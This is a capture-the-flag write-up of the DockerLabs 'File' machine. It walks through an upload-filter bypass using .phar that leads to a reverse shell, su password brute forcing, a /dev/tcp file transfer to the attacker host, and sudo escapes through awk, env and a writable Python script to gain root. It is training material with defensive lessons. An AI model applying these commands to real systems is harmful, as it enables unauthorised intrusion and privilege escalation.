> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/file.md).

# File

## File — Writeup

| Field               | Details    |
| ------------------- | ---------- |
| **Platform**        | DockerLabs |
| **OS**              | Linux      |
| **Difficulty**      | Easy       |
| **Personal Rating** | ⭐⭐⭐⭐☆      |
| **Date**            | 2026-04-26 |
| **Author**          | Zaiden     |

***

### Summary

File is a Linux Docker machine exposing FTP and HTTP. Anonymous FTP access reveals an MD5 hash that cracks to `justin`, hinting at a potential username. The web server hosts a file upload page (`file_upload.php`) with a blacklist-based extension filter that can be bypassed using the `.phar` extension, granting RCE as `www-data`. SSH is blocked, so privilege escalation is performed entirely through local enumeration. The machine features a four-step lateral movement chain — `www-data` → `fernando` → `mario` → `julen` → `iker` → `root` — involving su bruteforce, steganography, and a series of misconfigured `sudo` rules abusing `awk`, `env`, and a writable Python script.

**Attack Path:** `Recon` → `Anonymous FTP (MD5 hash)` → `File Upload Bypass (.phar)` → `RCE as www-data` → `Su bruteforce (fernando, mario)` → `Stego (fernando's image)` → `Sudo awk → julen` → `Sudo env → iker` → `Writable Python sudo script → root`

***

### 1. Reconnaissance

#### 1.1 Fast Port Scan

We begin with a fast Nmap scan to identify all open ports:

```bash
nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5
```

**Result:** Ports `21` and `80` are open.

<figure><img src="/files/fPPYGBejnd5S744J4spi" alt=""><figcaption></figcaption></figure>

&#x20;*Caption: Fast scan revealing open ports 21 (FTP) and 80 (HTTP)*

***

#### 1.2 Targeted Port Scan

```bash
nmap -sCV -p 21,80 --min-rate 5000 172.17.0.2
```

**Key findings:**

| Port | Service | Version       | Notes                                            |
| ---- | ------- | ------------- | ------------------------------------------------ |
| 21   | FTP     | vsftpd 3.0.5  | **Anonymous login allowed** — `anon.txt` present |
| 80   | HTTP    | Apache 2.4.41 | Default page                                     |

![](/files/al9ywCjr7aeU1AmTAYUO)&#x20;

*Caption: Service detection — anonymous FTP allowed with a file present*

***

#### 1.3 FTP Anonymous Access

Anonymous FTP login is allowed. We retrieve `anon.txt`:

```bash
ftp 172.17.0.2
# user: anonymous / password: (blank)
ftp> get anon.txt
```

**Contents:** `53dd9c6005f3cdfc5a69c5c07388016d`

<figure><img src="/files/cBnelyyU6ypgGa9cykWU" alt=""><figcaption></figcaption></figure>

&#x20;*Caption: Anonymous FTP login and retrieval of anon.txt containing an MD5 hash*

***

#### 1.4 Hash Cracking

```bash
hashid 53dd9c6005f3cdfc5a69c5c07388016d
# [+] MD5

hashcat -m 0 hash /usr/share/wordlists/rockyou.txt
```

**Result:** `53dd9c6005f3cdfc5a69c5c07388016d:justin`

<figure><img src="/files/GCmNgsfYYoo3g4faTjWD" alt=""><figcaption></figcaption></figure>

&#x20;*Caption: hashcat cracking the MD5 hash — result: justin*

> This credential was not directly usable for SSH or FTP at this stage, but notes a potential username for later.

***

#### 1.5 Web Exploration

The web root shows the Apache default page. Directory enumeration reveals an upload page:

```bash
ffuf -u http://172.17.0.2/FUZZ -w /usr/share/wordlists/dirb/big.txt -e .html,.php,.txt
```

**Findings:**

| Path              | Status | Notes                        |
| ----------------- | ------ | ---------------------------- |
| /file\_upload.php | 200    | File upload form             |
| /uploads          | 301    | Upload destination directory |

![](/files/RHEH9yw2ZhTHEfGBXgc6)&#x20;

*Caption: ffuf discovering file\_upload.php and the /uploads directory*

***

### 2. Exploitation

#### 2.1 Vulnerability Identified — File Upload Filter Bypass

The upload form at `/file_upload.php` applies a blacklist-based extension filter. Common extensions like `.php` are blocked, but `.phar` (PHP Archive) is accepted and executed by the web server as PHP.

* **Vulnerability:** Unrestricted file upload — blacklist bypass via `.phar` extension
* **Affected Component:** `/file_upload.php`

***

#### 2.2 Step-by-Step Walkthrough

**Step 1 — Attempt Upload with .php**

Uploading a standard PHP reverse shell (`shell.php`) returns an error — the extension is blocked.

**Step 2 — Bypass with .phar**

Renaming the file to `shell.phar` and uploading again succeeds:

```
El archivo shell.phar ha sido subido con éxito.
```

&#x20;

<figure><img src="/files/goxRLKAazRDWHdvKB7JJ" alt=""><figcaption></figcaption></figure>

*Caption: .phar extension bypassing the upload filter*

**Step 3 — Trigger the Shell**

With a listener ready:

```bash
penelope -p 3110
```

We navigate to `http://172.17.0.2/uploads/shell.phar` to trigger execution.

<figure><img src="/files/fEaeFyCeUu4f3m2GwTZJ" alt=""><figcaption></figcaption></figure>

&#x20;*Caption: Reverse shell received as www-data, upgraded to PTY by Penelope*

***

#### 2.3 Proof of Concept

```bash
# 1. Upload shell.phar (pentestmonkey PHP reverse shell) via /file_upload.php
# 2. Start listener
penelope -p 3110
# 3. Trigger
curl http://172.17.0.2/uploads/shell.phar
```

***

#### 2.4 Loot

| Item        | Value                  |
| ----------- | ---------------------- |
| Shell       | www-data               |
| Upload path | /var/www/html/uploads/ |

***

### 3. Privilege Escalation

#### 3.1 Enumeration Checklist

* \[x] `sudo -l` → not available for www-data
* \[x] SUID binaries → nothing non-standard
* \[x] SSH → blocked
* \[x] `/etc/passwd` → found users: `fernando`, `mario`, `julen`, `iker`
* \[x] Su bruteforce → credentials found for `fernando` and `mario`

```bash
cat /etc/passwd | grep bash
```

&#x20;

<figure><img src="/files/TBlL10oVmdFQNNV59Oes" alt=""><figcaption></figcaption></figure>

*Caption: Local users with bash shell: fernando, mario, julen, iker*

***

#### 3.2 Step 1 — Su Bruteforce → fernando

We transfer a su bruteforce script and a wordlist from our attacker machine to the victim via a Python HTTP server:

```bash
# Attacker
python3 -m http.server 80

# Victim
wget http://172.17.0.1/subruteforce.sh
wget http://172.17.0.1/top12k.txt
chmod +x subruteforce.sh
./subruteforce.sh -u fernando
```

**Result:** `fernando:chocolate`

<figure><img src="/files/b9f3VW4mwAyrBHiZ2OuO" alt=""><figcaption></figcaption></figure>

&#x20;*Caption: subruteforce.sh finding fernando's password*

***

#### 3.3 Step 2 — Steganography (fernando's image)

Fernando's home directory contains a single JPEG file: `dragon-medieval.jpeg`. We transfer it to our attacker machine using a TCP redirect:

```bash
# Attacker
nc -lvnp 1234 > foto

# Victim (as fernando)
exec 3<>/dev/tcp/172.17.0.1/1234
cat dragon-medieval.jpeg >&3
exec 3>&-
```

We run `stegseek` against it:

```bash
stegseek foto
# [i] Found passphrase: "secret"
# [i] Original filename: "pass.txt"
# [i] Extracting to "foto.out"

cat foto.out
# cbfdac6008f9cab4083784cbd1874f76618d2a97
```

&#x20;

<figure><img src="/files/5w3G4owtI2euVE1gH5DK" alt=""><figcaption></figcaption></figure>

*Caption: stegseek finding a SHA-1 hash hidden inside the image*

> The extracted SHA-1 hash was noted for potential future use but was not directly needed for the privesc chain — `mario` was found separately via bruteforce.

***

#### 3.4 Step 3 — Su Bruteforce → mario

```bash
./subruteforce.sh -u mario
```

**Result:** `mario:password123`

<figure><img src="/files/p7vqf0CyhumVWwfoVg1m" alt=""><figcaption></figcaption></figure>

&#x20;*Caption: subruteforce.sh finding mario's password*

```bash
sudo -l
# (julen) NOPASSWD: /usr/bin/awk
```

&#x20;

<figure><img src="/files/8aF8V8w023JLSZHqQO37" alt=""><figcaption></figcaption></figure>

*Caption: mario can run awk as julen with no password*

***

#### 3.5 Step 4 — Sudo awk → julen

```bash
sudo -u julen awk 'BEGIN {system("/bin/sh")}'
whoami
# julen
```

&#x20;

<figure><img src="/files/wx1XzZE3zYoIeZ6fHpTW" alt=""><figcaption></figcaption></figure>

*Caption: Abusing sudo awk to spawn a shell as julen*

```bash
sudo -l
# (iker) NOPASSWD: /usr/bin/env
```

***

#### 3.6 Step 5 — Sudo env → iker

```bash
sudo -u iker env /bin/sh
whoami
# iker
```

&#x20;

<figure><img src="/files/ojpJJmjoNypdPy4dQL0q" alt=""><figcaption></figcaption></figure>

*Caption: Abusing sudo env to spawn a shell as iker*

```bash
sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /home/iker/geo_ip.py
```

***

#### 3.7 Step 6 — Writable Python Script → root

`geo_ip.py` lives in iker's home directory and is owned by iker — we can overwrite it. We replace its contents with a shell spawn:

```bash
rm geo_ip.py
echo "import os; os.system('/bin/sh')" > geo_ip.py
sudo /usr/bin/python3 /home/iker/geo_ip.py
whoami
# root
```

&#x20;

<figure><img src="/files/v8V7u2Rj15rnx7H1xlxw" alt=""><figcaption></figcaption></figure>

&#x20;*Caption: Executing the script as root via sudo — root shell obtained*

***

### 4. Lessons Learned

#### What Worked Well

* Recognizing the `.phar` bypass after common PHP extensions were blocked
* Using a TCP redirect (`/dev/tcp`) to exfiltrate files without needing tools like `nc` on the victim
* Reading `sudo -l` at every user level revealed a clear lateral movement chain
* Noticing that `geo_ip.py` was in iker's home and therefore writable — the sudo rule was the misconfiguration, but the writable file was the actual vector

#### Rabbit Holes / What Didn't Work

* The MD5 hash from FTP (`justin`) did not lead directly to access — it was a red herring or unused credential
* SSH was blocked — no lateral movement via SSH was possible
* The SHA-1 hash extracted from the stego image was not needed for the main privesc chain

#### New Tools or Techniques Used

* **stegseek** — fast steganography brute-force against JPEG files
* **subruteforce.sh** — local su bruteforce when SSH is unavailable
* `/dev/tcp` redirect for file exfiltration without netcat on the victim
* `.phar` extension bypass for PHP file upload filters

#### Key Takeaway

> A file upload filter is only as strong as its blacklist. Allowing `.phar` files is effectively the same as allowing `.php` — always whitelist accepted extensions rather than blacklisting known ones. Additionally, sudo rules pointing to scripts in user-writable directories are a direct path to privilege escalation regardless of the binary being called.

***

### References

* [GTFOBins — awk](https://gtfobins.github.io/gtfobins/awk/)
* [GTFOBins — env](https://gtfobins.github.io/gtfobins/env/)
* [GTFOBins — python3](https://gtfobins.github.io/gtfobins/python/)
* [stegseek — GitHub](https://github.com/RickdeJager/StegSeek)
* [HackTricks — File Upload](https://book.hacktricks.xyz/pentesting-web/file-upload)
* [HackTricks — Sudo Privesc](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid)

***

*Writeup by Zaiden | 2026-04-26*
